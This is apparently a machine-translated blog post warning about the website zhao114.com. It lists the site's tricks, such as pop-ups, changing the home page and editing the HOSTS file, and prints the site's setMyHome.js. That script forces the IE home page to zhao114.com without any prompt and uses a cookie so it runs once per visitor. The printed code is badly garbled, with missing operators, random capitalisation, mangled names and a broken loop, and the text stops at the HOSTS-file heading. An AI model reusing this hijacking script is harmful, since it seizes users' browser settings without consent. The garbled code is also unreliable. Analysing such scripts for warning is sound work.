I have long heard of some websites of malicious code. I didn't expect April Fool's Day to touch it. A friend said how Zhao114.com is hot, I am curious to look at my eyes, simple URL, but bring another web page, I didn't care much, and later found that this website actually modified the default home page, modify the HOSTS file, add a desktop, and use some page spoofing techniques. Under curious, he analyzed his source code. Listed as follows, please be careful:
1)
IE prevents the way to pop up the pop-up window
The site uses numerous times
The way the new window is popped, including advertising and virus code.
2)
Do not prompt setting up a JS file (setMyHome.js).
The main code is the following setHome () function
Function getCookie (Name) {
VAR arg = name "=";
VAR alen = arg.length;
Var clen = document.cookie.ley;
VAR i = 0;
While (i VAR J = I alen; IF (Document.cookie.substring (i, j) == arg) Return getCookieVal (j); I = Document.cookie.indexof ("", i) 1; IF (i == 0) BREAK; } Return NULL; } Function setCookie (Name, Value) { Var argv = setcookie.Arguments; Var argc = setCookie.Arguments.length; VAR Expires = (Argc> 2)? Argv [2]: NULL; VAR path = (argc> 3)? Argv [3]: NULL; Var Domain = (Argc> 4)? Argv [4]: NULL; VAR Secure = (Argc> 5)? Argv [5]: false; Document.cookie = Name "=" escape (value) (Expires == NULL)? "": ("; expires =" expires.togmtstring ())) ((PATH == NULL)? "": ("; path =" path)) ((DOMAIN == NULL)? "": ("; domain =" domain) (Secure == True)? "; Secure": ""); } Function deletecookie (Name) {var exp = new date (); Exp.SetTime (Exp.getTime () - 1); // this cookie is history VAR CVAL = 0; Document.cookie = Name "=" CVAL "; Expires =" Exp.togmtstring (); } // Set the cookies time, and you will set it according to the situation. Var expdays = 1; // is set to 1 day VAR EXP = New Date (); Exp.SetTime (Exp.getTime () (Expdays * 24 * 60 * 60 * 1000)); Function AMT () { Var count = getCookie ('count'); // The same IP is only displayed once // var count; // The same IP only shows N times // alert (count); // count = NULL; IF (count == null) { SetCookie ('count', '1') Return 1 } Else { Var newcount = parseint (count) 1; IF (NewCount <2) count = 1; SetCookie ('Count', Newcount, Exp); // deletecookie ('count') Return newcount } } Function getCookieVal (Offset) { Var endstr = document.cookie.indexof (";", offset); IF (EndStr == -1) Endstr = Document.cookie.LENGTH; Return Unescape (Document.cookie.substring (Offset, EndStr)); } Function setromE () { Document.Links [0] .style.behavior = 'URL (# default # homepage)'; Document.links [0] .SethomePage ('http://www.zhao114.com'); } IF (AMT () == 1) { setHome () } // -> 3) Forcibly modify the hosts file (in yan88.htm)